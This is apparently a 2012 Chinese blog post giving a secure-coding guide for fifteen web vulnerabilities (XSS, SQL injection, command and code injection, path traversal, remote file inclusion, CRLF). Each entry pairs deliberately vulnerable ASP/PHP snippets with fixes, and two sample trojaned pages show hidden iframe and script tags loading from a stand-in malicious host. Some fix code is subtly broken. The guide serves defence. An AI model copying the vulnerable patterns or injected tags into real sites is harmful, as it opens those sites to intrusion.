注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

淘尽网 官方博客

淘尽网http://www.tao3w.com做最好的比价网站

 
 
 

日志

 
 
关于我

淘尽网 http://www.tao3w.com 做最好的比价网站,做最好的数据抓取专家。

网易考拉推荐

web代码漏洞详解  

2012-05-11 13:35:58|  分类: PHP |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

 安全漏洞总览       

漏洞编号

风险级别

漏洞描述

1

XSS(跨站脚本攻击)

2

CSRF(伪造跨站请求)

3

Sql Injection(SQL注入漏洞)

4

Information Leakage (服务器信息泄露)

5

Management Console Disclosure (管理后台泄露)

6

Trojan(挂马)

7

Improper Error Handling (异常错误处理)

8

Code Injection

9

OS Commanding

10

Path Traversal(目录遍历)

11

Directory Indexing(目录泄露)

12

Unvalidated Redirects and Forwards (跳转)

13

Weak Application (危险程序,如jmx,phpinfo)

14

Remote file inclusion',(远程文件包含)

15

CRLF Injection

漏洞处理规范

XSS(跨站脚本漏洞)

漏洞描述

 

跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用 户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

安全隐患,攻击者可利用XSS漏洞获取用户cookie,传播蠕虫,篡改页面或进行钓鱼等

修复建议

 

对参数做html转义过滤(要过滤的字符包括:单引号、双引号、大于号、小于号,&符号),防止脚本执行。在变量输出时进行HTML ENCODE 处理。

PHP应用,可以使用htmlspecialchars对用户参数进行编码

ASP.net应用,可以使用AntiXSS

JAVA应用,可以使用org.apache.commons.lang.StringEscapeUtils提供的Escape函数

修复参考

 

1ASP

问题示例代码:

<%

Dim param

Set param=Request.QueryString("dd")

response.write param

%>

修复范例:

<%

Dim param

Set param=Request.QueryString("dd")

response.write Server.HTMLEnCode(param)

%>

 

2PHP

问题代码示例:

<?php

$aa=$_GET['dd'];

echo $aa."123";

?>

修复范例:

<?php

$aa=$_GET['dd'];

echo htmlspecialchars($aa)."123";

?>

CSRF(伪造跨站请求漏洞)

漏洞描述

         CSRFCross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用

安全隐患

    该漏洞可以在用户登录完成后的会话里,让用户执行不知情的操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......

修复建议

1、在功能请求页面设置csrf token,并在服务端对token进行验证。

2、get请求改为post方式。

 

SQL Injection(SQL注入漏洞)

漏洞描述

         SQL注射是由于程序中对使用到的sql没有做到数据和结构分离导致程序的sql能被恶意用户控制,从而引发的数据库信息泄漏,修改,服务器被入侵等一系列严重后果。

安全隐患

   数据库信息泄露或被修改,还有可能威胁服务器的安全。

修复建议

对程序中使用到的SQL语句,使用变量绑定的方式进行数据和结构的分离。

修复参考

参数化形式构造SQL语句进行查询

1ASP

问题代码示例:

<%

Dim oComm, oRs

Set id=Request.QueryString("d")

Set oConn = Server.CreateObject("ADODB.Connection")

oConn.Open "Provider=MSDAORA;Password=sth;

Persist Security Info=True;User ID=whats;Data Source=mescp"

Set oComm = CreateObject("ADODB.Command")

oComm.ActiveConnection = oConn

Comm.CommandType = 1  

oComm.CommandText = "select * from all_objects where rownum ="& id

Set oRs = oComm.Execute

%>

 

修复范例:

<%

Dim oComm, oRs

Set oConn = Server.CreateObject("ADODB.Connection")

oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User ID=whats;Data Source=mescp"

Set oComm = CreateObject("ADODB.Command")

oComm.ActiveConnection = oConn

Comm.CommandType = 1  

oComm.CommandText = "select * from all_objects where rownum = ? "

oComm.Parameters.Append oComm.CreateParameter("v1",3,1,4,100)

Set oRs = oComm.Execute

%>

  

2PHP

问题代码示例:

<?php

$id=$_GET['id'];

$conn = mysql_connect("localhost","root","") or die ("wrong!");

$sel=mysql_select_db("mydb",$conn);

$sql="select * from user where id = ".id

$que=mysql_query($sql,$conn);

?>

 

修复范例:

<?php

$id=$_GET['id'];

$conn = mysql_connect("localhost","root","") or die ("wrong!");

$sel=mysql_select_db("mydb",$conn);

$sql="select * from user where id = :id"

$stmt = $conn->prepare($sql); 

$stmt->execute(array(':id'=>$id)); 

?>

 

3JAVA应用可以使用ibatis

Information Leakage (服务器信息泄露)

安全隐患

可能会泄露一些敏感信息,被攻击者利用。如phpinfo()

修复建议

关闭应用程序不必要的输出,如调试,错误信息的输出。

Management Console Disclosure (管理后台泄露)

漏洞定义

应用的后台系统泄露在外面,任何用户都可以随意访问到。

安全隐患

可能会遭到攻击者的暴力破解或利用bypass漏洞,进入应用后台,进行非法操作。

修复建议

1、 隐藏后台系统入口地址;

2、 对管理后台进行IP访问控制;

Trojan(挂马)

漏洞描述

挂马是恶意攻击者通过各种手段篡改页面,种植恶意代码,最终导致网站用户机器被中木马进而引起用户各种资损并间接导致网站资损的恶性攻击行为。

安全隐患

应用程序已经被攻击者破坏,同时来危及来访的用户电脑安全。

修复建议

检查被挂马页面,去除其中被添加的挂马代码。找出系统存在的安全漏洞,删除恶意代码。

1)被挂马页面示例(iframe):

<html>

<body>

…………

<iframe src=http://www.trojan.com/ms04067.html  width=0 height=0 />

</body>

</html>

修复范例:

删除其中的<iframe src=http://www.trojan.com/ms04067.html  width=0 height=0 />

(注:特征为iframe长宽都为0或者很低)

  

2)被挂马页面示例(script):

<html>

<body>

…………

<script src=http://www.trojan.com/ms04067.js  />

</body>

</html>

修复范例:

删除其中的<script src=http://www.trojan.com/ms04067.js  />

(注:特征为script为外站script或者为非网站所有者所知的script)

Improper Error Handling (异常错误处理)

漏洞描述

程序运行时产生的异常没有处理,导致应用/服务器的状态信息显示在默认的错误页面上。

安全隐患

异常信息的不正确处理,可能会导致一些未知的问题。

修复建议

1、正确处理好程序的异常以及函数调用的返回信息。

 

2、对外使用时,采用统一的错误页面

Code Injection(代码注入)

漏洞描述

代码注入是指由于服务端代码漏洞导致恶意用户输入在服务端被执行的一种高危安全漏洞;

安全隐患

利用该漏洞,可以在服务器上执行攻击者拼装的代码。

修复建议

严格检查控制程序的参数.

修复参考

1ASP

<%

期待输入sub.asp

execute request("include")

%>

修复范例:

<%

<!--#include file="sub.asp"-->

%>

 

2PHP:

漏洞代码示例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

eval("\$myvar = \$x;");

%>

修复范例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

$myvar = $x;

%>

OS Commanding Injection

漏洞描述

系统命令执行是指应用程序对传入命令行的参数过滤不严导致恶意用户能控制最终执行的命令,进而入侵系统,导致严重破坏的高危漏洞。

安全隐患

利用这个漏洞攻击着可以执行服务器上的命令。

修复建议

1、严格检查程序参数,特别是 "&", "&&", "|", "||"

 

2、在代码中去除system等直接命令行执行函数或者禁止把外部传入参数传入到该类可执行函数的参数中。

修复参考

1ASP:

漏洞代码示例:

<%

Dim cmd

Set cmd=Request.QueryString("cmd")

response.write server.createobject("wscript.shell").exec("cmd.exe /c "&cmd).stdout.readall

%>

修复范例:

Dim cmd

Set cmd=Request.QueryString("cmd")

if cmd == "dir" then

         response.write server.createobject("wscript.shell").exec("cmd.exe /c "&  "dir").stdout.readall

end if

%>

 

2PHP

漏洞代码示例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

// 默认通过url传入ls -al 进行执行

system($x);

%>

修复建议:

<%php

$myvar = "varname";

$x = $_GET['arg'];

// 默认通过url传入ls -al 进行执行

if($x=='/bin/ls -al'){

    system('/bin/ls -al');

}else{

    return;

 }

%>

Path Traversal(目录遍历)

漏洞描述

目录遍历指的是应用程序对文件路径没有检查导致服务器上的敏感文件/代码泄漏。

安全隐患

可能会导致源代码等敏感信息泄露。

修复建议

严格检查文件路径参数,限制在指定的范围。严格限制文件路径参数,不允许用户控制文件路径相关的参数,限定文件路径范围。

修复参考

1ASP

漏洞代码示例:

<%

Dim FileName

FileName = Request.QueryString("FileName")

Response.Clear

Response.ContentType = "application/octet-stream"

Response.AddHeader "content-disposition", "attachment; filename=" & FileName

Set Stream = server.CreateObject("ADODB.Stream")

Stream.Type = 1

Stream.Open

Stream.LoadFromFile Server.MapPath(FileName)

While Not Stream.EOS

Response.BinaryWrite Stream.Read(1024 * 64)

Wend

Stream.Close

Set Stream = Nothing

Response.Flush

Response.End

%>

修复范例:

<%

Dim FileName

FileId = Request.QueryString("FileId")

FileName = GetFileNameByID(FileId)

Response.Clear

Response.ContentType = "application/octet-stream"

Response.AddHeader "content-disposition", "attachment; filename=" & FileName

Set Stream = server.CreateObject("ADODB.Stream")

Stream.Type = 1

Stream.Open

Stream.LoadFromFile Server.MapPath(FileName)

While Not Stream.EOS

Response.BinaryWrite Stream.Read(1024 * 64)

Wend

Stream.Close

Set Stream = Nothing

Response.Flush

Response.End

%>

 

2PHP

 php.ini中进行如下配置:

open_basedir = 服务器上WEB目录的路径(注,路径最后需要加上斜杠作为结束),如:open_basedir = /var/www/html/

 

Directory Indexing(目录泄露) 

漏洞描述

应用服务器配置不当,导致应用服务器的目录列表被展示。

安全隐患

可能会导致敏感信息或源代码泄露。

修复建议

配置应用服务器禁止目录列表展示。

Unvalidated Redirects and Forwards (跳转)

漏洞描述

某些页面由于功能需要需要进行页面跳转,如果没有对跳转的目的页面做检查就会导致被利用做为恶意URL的访问渠道。

安全隐患

攻击着可以利用这个漏洞进行跳转钓鱼。

修复建议

1、严格检查URL跳转的范围。

2、跳转页面参数中添加redirect_url参数的签名,防止被篡改。

Weak Application (危险程序,如jmx,phpinfo)

漏洞描述

应用服务器配置不当,如存在jbossjmx-console,phpphinfo等。

安全隐患

可能导致服务器被攻击或服务器敏感信息泄露。

修复建议

删除不正确的配置。

Remote file inclusion(远程文件包含)

漏洞描述

远程文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。

安全隐患

攻击着可以利用该漏洞,在服务器上执行命令。

修复建议

 

配置php.ini关闭远程文件包含功能。

allow_url_include = Off

修复参考

1PHP

漏洞代码示例:

<?php

$path=$_GET['arg'];

include $path.'/filename.php';

?>

修复范例:

<?php

$path='/var/www/html/common.inc';

include $path.'/filename.php';

?>

或者:在php.ini中进行如下配置:

           allow_url_fopen=off

           allow_url_include=off

CRLF Injection

漏洞描述

PHP有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.iniallow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。

安全隐患

攻击着可以利用该漏洞在http请求注入恶意代码。

修复建议

1、过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF

2、如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen


参考链接

 

1XSS

http://en.wikipedia.org/wiki/Cross-site_scripting

http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

 

2CSRF

http://en.wikipedia.org/wiki/Cross-site_request_forgery

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

 

3SQL Injection

http://en.wikipedia.org/wiki/SQL_injection

 

4Information Leakage (服务器信息泄露)

https://www.owasp.org/index.php/Information_Leakage

 

5Improper Error Handling (异常错误处理)

https://www.owasp.org/index.php/Improper_error_handling

 

6Code Injection(代码注入)

https://www.owasp.org/index.php/Code_Injection

 

7OS Commanding Injection

https://www.owasp.org/index.php/OS_Command_Injection

 

8Unvalidated Redirects and Forwards (跳转)

https://www.owasp.org/index.php/Open_redirect

 

9Remote file inclusion(远程文件包含)

https://www.owasp.org/index.php/PHP_File_Inclusion

 

 

10CRLF Injection

https://www.owasp.org/index.php/CRLF_Injection

  评论这张
 
阅读(1041)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017